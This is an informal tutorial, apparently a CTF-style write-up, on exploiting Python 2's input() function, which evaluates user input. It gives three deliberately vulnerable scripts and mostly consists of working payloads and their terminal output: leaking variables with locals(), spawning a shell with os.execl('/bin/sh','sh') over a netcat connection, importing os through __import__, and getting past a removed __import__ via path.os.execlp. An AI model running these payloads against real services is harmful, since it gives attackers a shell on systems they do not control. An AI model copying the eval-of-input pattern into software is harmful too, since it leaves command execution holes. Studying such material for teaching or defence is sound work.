Eval exploit
In Python, input(x) is equivalent to eval(raw_input(x)): it takes user input, and evaluates it as a Python expression
Ok hey wait !!!! Before diving into exploit lets learn the some prerequisites ....
Python uses what are called namespaces to keep track of variables. A namespace is just like a dictionary where the keys are names of variables and the dictionary values are the values of those variables.
In fact, you can access a namespace as a Python dictionary, as you'll see in a minute. locals() and globals() are bulitin functions which let us to access that dict
Ok next __import__() it is too a builtin function which let us to import any module in runtime
Another usefull module glob : glob.glob('*') would list all the files in that directory , glob.glob('.*') would result in all hidden files .
# example1.py
from random import randint
num = randint(1,100)
print "Guess the number! 1 to 100."
while True:
guess = input('Your guess> ')
if guess != num:
print "Nope,", guess, "is wrong."
else:
print "You win!"
exit(0)
So by just giving num as input it evaluates value in it and assigns to guess & that's it !!!
$ python example1.py
Guess the number! 1 to 100.
Your guess> num
You win!
In part-1 we didn't find the num so to find it we can give 'print num' but it's not a valid expression it is a statment
if a py code began with an “import sys”, we could enter sys.stdout.write(str(num)) to get the value of num.
Else u can try str(num) to get o/p in error display
Time to introduce a new tool: locals() and globals(). These built-in Python functions let you view and edit the local and global scope as dictionaries.
$ python ./example1.py
Guess the number! 1 to 100.
Your guess> locals()
Nope, {'guess': {...}, 'randint': >, '__builtins__':
, '__file__': './example1.py',
'__package__': None, 'num': 35, '__name__': '__main__',
'__doc__': None} is wrong.
Your guess> 35
You win!
There's more sorts of introspection you can do in Python: vars, __dict__, func_globals and __subclasses__ come to mind.
# example2.py
import os
print "What files do you want?"
files = input('list> ')
for name in files:
if os.path.exists(name):
with open(name) as f:
print f.read()
else:
print name, "does not exist!"
The os.system pretty much just takes a string an runs it as a shell command
$ nc pyservice.example.com 1234
What files do you want?
list> os.execl('/bin/sh','sh')
sh-3.2$ echo "I have a shell."
I have a shell.
sh-3.2$ exit
One last thing to know about: scripts aren't safe just because they don't have import os anywhere, because we can import os ourselves! Consider the following example
# example3.py
print "What files do you want?"
files = input('list> ')
for name in files:
try:
with open(name) as f:
print f.read()
except:
print name, "does not exist!"
$ python example3.py
What files do you want?
list> __import__('os').execl('/bin/sh','sh')
sh-3.2$ echo 'I win again'
I win again
Ok some added protection by removing __import__ from bulitins
from os import path
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['reload']
...
print_description(input('> '))
Ok fortunately the path package have os sub-module
>>> from os import path
>>> dir(path)
['__all__', '__builtins__',...,'os']
path.os.execlp('sh','sh')
$